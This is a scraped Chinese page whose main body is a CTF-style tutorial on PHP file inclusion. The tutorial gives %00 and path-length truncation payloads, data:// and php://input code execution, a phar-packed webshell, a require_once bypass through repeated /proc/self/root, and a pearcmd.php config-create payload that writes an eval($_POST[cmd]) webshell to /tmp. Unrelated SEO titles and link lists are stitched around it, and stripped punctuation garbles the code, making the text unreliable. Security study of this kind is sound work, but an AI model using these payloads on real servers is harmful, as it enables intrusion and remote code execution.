当前位置: 首页 > news >正文

电子商务网站开发过程免费wordpress中文主题下载

电子商务网站开发过程,免费wordpress中文主题下载,wordpress文章底部版权声明,西安高端网站制作公司文件包含 文件包含漏洞原理 PHP文件包含漏洞的产生原因是在通过PHP的函数引入文件时#xff0c;由于传入的文件名没有经过合理的校验#xff0c;从而操作了预想之外的文件#xff0c;就可能导致意外的文件泄露甚至恶意的代码注入 include#xff1a;包含并运行指定的文件由于传入的文件名没有经过合理的校验从而操作了预想之外的文件就可能导致意外的文件泄露甚至恶意的代码注入 include包含并运行指定的文件包含文件发生错误时程序警告但会继续执行。 include_once检查这个文件是否已经被导入如果已导入便不会再导入。 require包含并运行指定的文件包含文件发生错误时程序直接终止执行。 require_once和 require 类似不同处在于 require_once 只导入一次。 文件包含类型 本地包含(LFI) 能够读取或执行包含本地文件 远程包含(RFI) allow_url_fopen和allow_url_include要为On 文件包含函数是可以加载远程文件的这种漏洞被称为远程文件包含漏洞 文件包含前提 1. 程序用 include() 等文件包含函数通过动态变量的范式引入需要包含的文件 2. 用户能够控制该动态变量 3. 要保证 php.ini 中 allow_url_fopen 和allow_url_include 要为 On 文件包含常见防御及绕过方式 双写绕过 ?php// The page we wish to display $file $_GET[ page ];// Input validation $file str_replace( array( http://, https:// ), , $file ); $file str_replace( array( ../, ..\\ ), , $file );? str_replace() 函数替换字符串中的一些字符区分大小写。 这里我们以../为例:  ..././中的../被去除则..././变为../以此来绕过 截断 ?php$file $_GET[file];include /var/www/html/.$file./test/test.php;? 这里对文件位置进行了限制比较“难”去包含前面提到的种种文件 1、%00 截断 需要 magic_quotes_gpcoffPHP 小于 5.3.4 有效 ?file../../../../../../../../../etc/passwd%00 2、%00 截断目录遍历 需要 magic_quotes_gpcoff ?file../../../../../../../../../var/www/%00 3、路径长度截断 php 版本小于 5.2.8 可以成功linux 需要文件名长于 4096windows 需要长于 256 ?file../../../../../../../../../etc/passwd/././././././.[…]/./././././. PHP 中的封装协议(伪协议) file:///var/www/html 访问本地文件系统 ftp://login:passwordftpserveraddress 访问 FTP(s) URLs data:// 数据流 http:// — 访问 HTTP(s) URLs ftp:// — 访问 FTP(s) URLs php:// — 访问各个输入/输出流 zlib:// — 压缩流 data:// — Data (RFC 2397) glob:// — 查找匹配的文件路径模式 phar:// — PHP Archive ssh2:// — Secure Shell 2 rar:// — RAR ogg:// — Audio streams expect:// — 处理交互式的流 file://  本地文件传输协议File协议主要用于访问本地计算机中的文件 php:// data:// allow_url_fopen onallow_url_includeon ?filedata:text/plain,?php phpinfo();??filedata:text/plain;base64,base64编码的payload php://input php://input是个可以访问请求的原始数据的只读流 allow_url_include On。 对 allow_url_fopen 不做要求。 filter php://filter 是一种元封装器 设计用于数据流打开时的筛选过滤应用。 更多关于php://filter的妙用还可以读P神的这篇文章 谈一谈php://filter的妙用 phar:// 数据流包装器。phar的本质是一种压缩文件。 这里我们一一道题目为例 该靶场下存在一个about.inc文件 而url中却显示的是这样猜测后端代码应该是包含了 include $_GET[moudle]..inc; 我们可以先写一个小马再将小马以zip格式压缩并将压缩后的文件后缀名改为.png上传 再来用phar://来解析 小马成功运行蚁剑连接 我们再来看一下后端代码 确实如此 zip:// php 版本大于等于 php5.3.0 若是使用相对路径则会包含失败。 协议原型zip://archive.zip(压缩包名称)#dir/file.txt(压缩文件名称) 注意 url 编码,因为这个 # 会和 url 协议中的 # 冲突(%23) 其他有关文件包含的知识 require_once 绕过不能重复包含文件的限制 以[WMCTF2020]Make PHP Great Again为例 ?php highlight_file(__FILE__); require_once flag.php; if(isset($_GET[file])) {require_once $_GET[file]; } php的文件包含机制是将已经包含的文件与文件的真实路径放进哈希表中 我们都知道require_once在调用时php会检查该文件是否已经被包含过而这里在前面就已经包含了文件我们在后面再想包含flag.php时就不能实现了而我们需要做到就是怎么绕过这个哈希表让php认为我们传入的文件名不在哈希表中又可以让php能找到这个文件读取到内容。 payload?filephp://filter/convert.base64-encode/resource/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php 详情原理可看此篇文章 php源码分析 require_once 绕过不能重复包含文件的限制 pearcmd.php到getshell pecl是PHP中用于管理扩展而使用的命令行工具而pear是pecl依赖的类库。 pear中可以利用的参数 我们以一题为例 源码如下 ?php #flag is in flag.php error_reporting(0); show_source(__FILE__); #No session.upload_progress!!!! ini_set(session.auto_start,0); ini_set(session.use_strict_mode,1); $path$_GET[path]; if(is_null($path)) exit(brinput sth bro~br); echo bryou input.$path; #No PHP protocol! if(preg_match(/filter|input|data|phar|http|https|zlib|glob|rar|ogg|expect|ftp/i,$path)0){#No loggggggggggggggg~if(preg_match(/log|access|error/i,$path)0){if(preg_match(/flag/i,$path)0){echo brU did it!br;include $path;}else{exit(broh nooooooooo~br);}}else{exit(brlog file?oh nooooooo~br);} }else{exit(brno protocol~br); } ? 禁止了session.upload_progress禁止了伪协议读取也禁止了文件包含日志文件 这里我们可以包含到pear中的文件进而利用其中的特性来搞事。 config-create(创建默认配置文件)这个命令需要传入两个参数其中第二个参数是写入的文件路径第一个参数会被写入到这个文件中。 payload:?path/usr/local/lib/php/pearcmd.phpconfig-create/?eval($_POST[cmd]);?/tmp/fuck.php payload:?config-create/path/usr/local/lib/php/pearcmd.php/?eval($_POST[cmd]);?/tmp/fuck.php 这两个payload是一样的最好在BP上进行写入webshell因为在浏览器上会自动url转码这样会导致写入失败 更加详细的原理参考P神文章 Docker PHP裸文件本地包含综述
http://www.hkea.cn/news/14443123/

相关文章:

  • 办文明网站做文明网民活动方案徐州企业建站系统模板
  • 有哪些可以做翻译兼职的网站苍山做网站
  • 外贸网站谷歌推广php网站后台建设
  • 网站建设敬请期待图片素材小蓝鸟加速器
  • 东营网站设计制作移动端网站建设的好处
  • 做书的网站有哪些内容阿里云邮箱企业邮箱
  • 寿光shengkun网站建设温州专业微网站制作报价
  • asp.net 网站开发的技术优势wordpress淡出
  • 湖南做网站 在线磐石网络万户网络有限责任公司
  • 营销型的网站域名网站功能结构图 怎么做
  • 网页游戏网站搭建威县网站建设
  • 无忧网站源码新能源车排名前十名
  • 网站制作相关知识做网站开发怎么接单
  • 外贸网站源码移动开发的几种方式
  • 分类网站一天做几条合适部门网站建设和维护
  • 网站设计公司怎么样接兼职建设网站
  • 网站被js植入广告html小清新类型网站
  • php建立网站ap课程培训哪家机构好
  • 汕头模板建站流程wordpress 购物主题
  • 在百度怎样建网站旅游网站效果图
  • 营销传播seo关键词排名软件
  • 上海网站关键排名网站建设 上海网
  • 博客网站建设设计报告wordpress评论提醒插件
  • 知名企业创新案例夫唯seo怎么样
  • 上海 顶尖 网站设计衡阳企业网站
  • 景安怎么把网站做别名网站开发工单
  • 个人如何注册电商平台网站优化seo怎么做
  • 透明管理系统网站模板门户网站的推广方案
  • 网站建设企业模板美食网页制作代码
  • 百度竞价网站备案谷歌google官网下载